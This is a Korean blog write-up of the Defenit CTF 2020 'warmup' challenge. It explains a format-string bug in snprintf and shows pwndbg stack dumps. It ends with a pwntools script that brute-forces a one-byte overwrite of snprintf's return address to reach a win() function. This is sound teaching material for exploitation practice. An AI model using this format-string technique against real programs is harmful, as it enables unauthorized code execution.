Write-up

[Defenit CTF 2020] warmup writeup

ch4rli3kop 2020. 6. 14. 05:40
반응형

[Defenit CTF 2020] warmup writeup

Summary

overwrite snprintf's ret and brute forcing

Code Analysis

__int64 initialize()
{
 __int64 result; // rax

 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 fd = open("flag.txt", 0);
 result = (unsigned int)fd;
 if ( fd < 0 )
{
   puts("flag.txt not found");
   exit(1);
}
 return result;
}

void __noreturn vuln()
{
 char buf[256]; // [rsp+0h] [rbp-210h]
 char s[256]; // [rsp+100h] [rbp-110h]
 unsigned __int64 v2; // [rsp+208h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 read(0, buf, 0x100uLL);
 snprintf(s, 0x100uLL, buf);
 exit(0);
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
 initialize();
 vuln();
}

special

unsigned __int64 win()
{
 char buf; // [rsp+0h] [rbp-30h]
 unsigned __int64 v2; // [rsp+28h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 read(fd, &buf, 0x1EuLL);
 write(1, &buf, 0x1EuLL);
 return __readfsqword(0x28u) ^ v2;
}

Exploit

snprintf_before

 ► 0x55d6a2fcfa05 <vuln+78>    call   snprintf@plt <0x55d6a2fcf7b0>
      s: 0x7fff6ec57480 —▸ 0x7feccf3ea700 ◂— 0x7feccf3ea700
      maxlen: 0x100
      format: 0x7fff6ec57380 ◂— 0x2432312563303225 ('%20c%12$')
      vararg: 0x7feccef0d260 (__read_nocancel+7) ◂— cmp   rax, -0xfff

pwndbg> x/40gx $rsp
0x7fff6ec57380: 0x2432312563303225 0x00007fff6e6e6868
0x7fff6ec57390: 0x000000006562b026 0x0000000001958ac0
0x7fff6ec573a0: 0x0000000000000026 0x00007fff6ec574d0
0x7fff6ec573b0: 0x00007fff6ecd22b0 0x00007fff6ecd21a8
0x7fff6ec573c0: 0x00007fff6ec573f4 <== Here!

snprintf_ret

► 0x7feccee6b939 <snprintf+137>    ret             <0x55d6a2fcfa0a; vuln+83>

pwndbg> x/40gx $rsp
0x7fff6ec57378: 0x000055d6a2fcfa0a 0x2432312563303225
0x7fff6ec57388: 0x00007fff6e6e6868 0x000000006562b026
0x7fff6ec57398: 0x0000000001958ac0 0x0000000000000026
0x7fff6ec573a8: 0x00007fff6ec574d0 0x00007fff6ecd22b0
0x7fff6ec573b8: 0x00007fff6ecd21a8 0x00007fff6ec573f4 <== 0x00007fff6ec573XX!

snprintf의 ret 주소를 스택에 만들어 주기 위하여 해당 주소와 최대한 유사한 주소를 스택에서 찾으면 위와 같이 buf의 시작 + 0x40 위치에 존재하는 0x00007fff6ec573f4이다.

해당 값의 위치는 사용자가 입력할 수 있는 영역이므로, 0x00007fff6ec573f4를 한바이트 덮어서 0x7fff6ec57378로 변경할 수 있다.

스택에 snprintf의 ret 주소를 만든 뒤, fsb를 이용하여 해당 주소의 값을 변경할 수 있는데, 기존 ret 값은 0x000055d6a2fcfa0a으로 vuln+83을 나타냈다면 마지막 1바이트를 수정하여 win의 시작주소 0x000055d6a2fcfa14으로 변경할 수 있다.

스택의 주소는 랜덤이기 때문에 약간의 brute forcing을 시도한다면 snprintf의 ret를 덮어서 win을 호출할 수 있다.

Payload

#/usr/bin/python
from pwn import *

for i in range(0, 0x100):
     r = process('./warmup')

     payload = '%20c'
     payload += '%12$hhn'
     payload += 'A' * (0x40 - len(payload))
     payload += '\x78'

     #sleep(8)
     r.send(payload)
     try:
         a = r.recv(100)
         print(a)
         break
     except Exception:
         print('A')

r.interactive()


반응형

'Write-up' 카테고리의 다른 글

[ASIS CTF Quals 2020] Baby note  (0) 2020.07.12
Uncrackable 3 write up  (0) 2020.07.10
[bytebandits 2020] baby_rust writeup  (0) 2020.04.14
[bytebandits 2020] fmt-me writeup  (0) 2020.04.14
[pwnable.kr] fix writeup  (0) 2019.07.13